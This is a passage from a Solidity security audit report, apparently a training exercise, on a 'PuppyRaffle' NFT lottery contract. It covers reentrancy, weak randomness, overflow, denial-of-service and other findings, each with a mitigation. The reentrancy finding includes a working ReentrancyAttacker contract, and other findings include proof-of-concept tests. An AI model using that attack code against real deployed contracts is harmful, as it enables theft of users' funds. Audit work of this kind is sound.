 - * [G-2] Storage variables in a loop should be cached
- Informational/Non-Crits
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of Solidity is not recommended.
 - * [I-3] Missing checks for `address(0)` when assigning values to address state variables
 - * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
 - * [I-5] Use of “magic” numbers is discouraged
 - * [I-6] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
 1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Lance Addison makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the [changeFeeAddress](#) function. Player - Participant of the raffle, has the power to enter the raffle with the [enterRaffle](#) function and refund value through [refund](#) function.

Executive Summary

I had a great time auditing this codebase! Patrick did a great job teaching this section.

Issues found

Severity	Number of issues found

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");
5
6         @> payable(msg.sender).sendValue(entranceFee);
7         @> players[playerIndex] = address(0);
8
9         emit RaffleRefunded(playerAddress);
10    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1     function testReentrancyRefund() public {
2         address[] memory players = new address[](4);
3         players[0] = playerOne;
4         players[1] = playerTwo;
5         players[2] = playerThree;
6         players[3] = playerFour;
7         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10             puppyRaffle);
11         address attackUser = makeAddr("attackUser");
12         vm.deal(attackUser, 1 ether);
13
14         uint256 startingAttackContractBalance = address(
15             attackerContract).balance;
16         uint256 startingContractBalance = address(puppyRaffle).balance;
17
18         vm.prank(attackUser);
19         attackerContract.attack{value: entranceFee}();
20
21         console.log("Starting attacker contract balance: ",
22             startingAttackContractBalance);
23         console.log("Starting contract balance: ",
24             startingContractBalance);
25
26         console.log("Ending attacker balance: ", address(
27             attackerContract).balance);
28         console.log("Ending contract balance: ", address(puppyRaffle).
29             balance);
30     }
```

And this contract as well

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         stealMoney();
29     }
30
31     receive() external payable {
32         stealMoney();
33     }
34 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7
8         +     players[playerIndex] = address(0);
9         +     emit RaffleRefunded(playerAddress);
10        payable(msg.sender).sendValue(entranceFee);
11        -     players[playerIndex] = address(0);
12    }
```

```
10 -     emit RaffleRefunded(playerAddress);
11 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows,

the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // aka
3 totalFees = 8000000000000000000 + 1780000000000000000
4 // and this will overflow!
5 totalFees = 153255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1 function testTotalFeesOverflow() public playersEntered {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.timestamp + 1);
4     puppyRaffle.selectWinner();
5     uint256 startingTotalFees = puppyRaffle.totalFees();
6
7     // have 89 players enter a new raffle
8     uint256 playersNum = 89;
9     address[] memory players = new address[](playersNum);
10    for (uint256 i = 0; i < playersNum; i++) {
11        players[i] = address(i);
12    }
13
14    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
        players);
15
16    vm.warp(block.timestamp + duration + 1);
17    vm.roll(block.number + 1);
18
19    // here's the issue
20    puppyRaffle.selectWinner();
21
22    uint256 endingTotalFees = puppyRaffle.totalFees();
23    console.log("starting total fees: ", startingTotalFees);
24    console.log("ending total fees: ", endingTotalFees);
25
26    assert(startingTotalFees > endingTotalFees);
```

```
27     }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 @>     for (uint256 i = 0; i < players.length - 1; i++) {
2         for (uint256 j = i + 1; j < players.length; j++) {
3             require(players[i] != players[j], "PuppyRaffle:
                Duplicate player");
4         }
5     }
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This is almost 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testDenialOfService() public {
2     vm.txGasPrice(1);
3
4     uint256 playersNum = 100;
5     address[] memory players = new address[](playersNum);
6     for (uint256 i = 0; i < playersNum; i++) {
7         players[i] = address(i);
8     }
9
10    uint256 gasStart = gasleft();
11    puppyRaffle.enterRaffle{value: entranceFee * players.length}(
        players);
12    uint256 gasEnd = gasleft();
13
14    uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
15    console.log("Gas cost first 100 players: ", gasUsedFirst);
16
17    // now for the second 100 players
18    address[] memory playersTwo = new address[](playersNum);
19    for (uint256 i = 0; i < playersNum; i++) {
20        playersTwo[i] = address(i + playersNum);
21    }
22
23    uint256 gasStartSecond = gasleft();
24    puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
        }(playersTwo);
25    uint256 gasEndSecond = gasleft();
26
27    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
28    console.log("Gas cost second 100 players: ", gasUsedSecond);
29
30    assert(gasUsedFirst < gasUsedSecond);
31 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + uint256 public raffleID;
```

```
2 + mapping (address => uint256) public usersToRaffleId;
3 .
4 .
5     function enterRaffle(address[] memory newPlayers) public payable {
6         require(msg.value == entranceFee * newPlayers.length, "
          PuppyRaffle: Must send enough to enter raffle");
7
8         for (uint256 i = 0; i < newPlayers.length; i++) {
9 +         // Check for duplicates
10 +         require(usersToRaffleId[newPlayers[i]] != raffleID, "
          PuppyRaffle: Already a participant");
11
12         players.push(newPlayers[i]);
13 +         usersToRaffleId[newPlayers[i]] = raffleID;
14     }
15
16 -     // Check for duplicates
17 -     for (uint256 i = 0; i < players.length - 1; i++) {
18 -         for (uint256 j = i + 1; j < players.length; j++) {
19 -             require(players[i] != players[j], "PuppyRaffle:
          Duplicate player");
20 -         }
21 -     }
22
23     emit RaffleEnter(newPlayers);
24 }
25 .
26 .
27 .
28
29 function selectWinner() external {
30     //Existing code
31 +     raffleID = raffleID + 1;
32 }
```

Alternatively, you could use OpenZeppelin's [EnumerableSet](#) library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1     function selectWinner() external {
2         require(block.timestamp >= raffleStartTime + raffleDuration, "
          PuppyRaffle: Raffle not over");
3         require(players.length > 0, "PuppyRaffle: No players in raffle"
          );
4     }
```

```
5      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.  
        sender, block.timestamp, block.difficulty))) % players.  
        length;  
6      address winner = players[winnerIndex];  
7      uint256 fee = totalFees / 10;  
8      uint256 winnings = address(this).balance - fee;  
9  @>    totalFees = totalFees + uint64(fee);  
10     players = new address[] (0);  
11     emit RaffleWinner(winner, winnings);  
12 }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max  
2 uint256 fee = max + 1  
3 uint64(fee)  
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 - uint64 public totalFees = 0;  
2 + uint256 public totalFees = 0;  
3 .  
4 .  
5 .  
6     function selectWinner() external {  
7         require(block.timestamp >= raffleStartTime + raffleDuration, "  
            PuppyRaffle: Raffle not over");  
8         require(players.length >= 4, "PuppyRaffle: Need at least 4  
            players");  
9         uint256 winnerIndex =  
10            uint256(keccak256(abi.encodePacked(msg.sender, block.  
                timestamp, block.difficulty))) % players.length;
```

```
11     address winner = players[winnerIndex];
12     uint256 totalAmountCollected = players.length * entranceFee;
13     uint256 prizePool = (totalAmountCollected * 80) / 100;
14     uint256 fee = (totalAmountCollected * 20) / 100;
15 -     totalFees = totalFees + uint64(fee);
16 +     totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1    /// @return the index of the player in the array, if they are not
    active, it returns 0 and a player might think they are not
    active
2    function getActivePlayerIndex(address player) external view returns
    (uint256) {
3        for (uint256 i = 0; i < players.length; i++) {
4            if (players[i] == player) {
5                return i;
6            }
7        }
8
9        return 0;
10    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = player.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```

Informational/Non-Crits

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 211

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] PuppyRaffle::_isActivePlayer is never used and should be removed
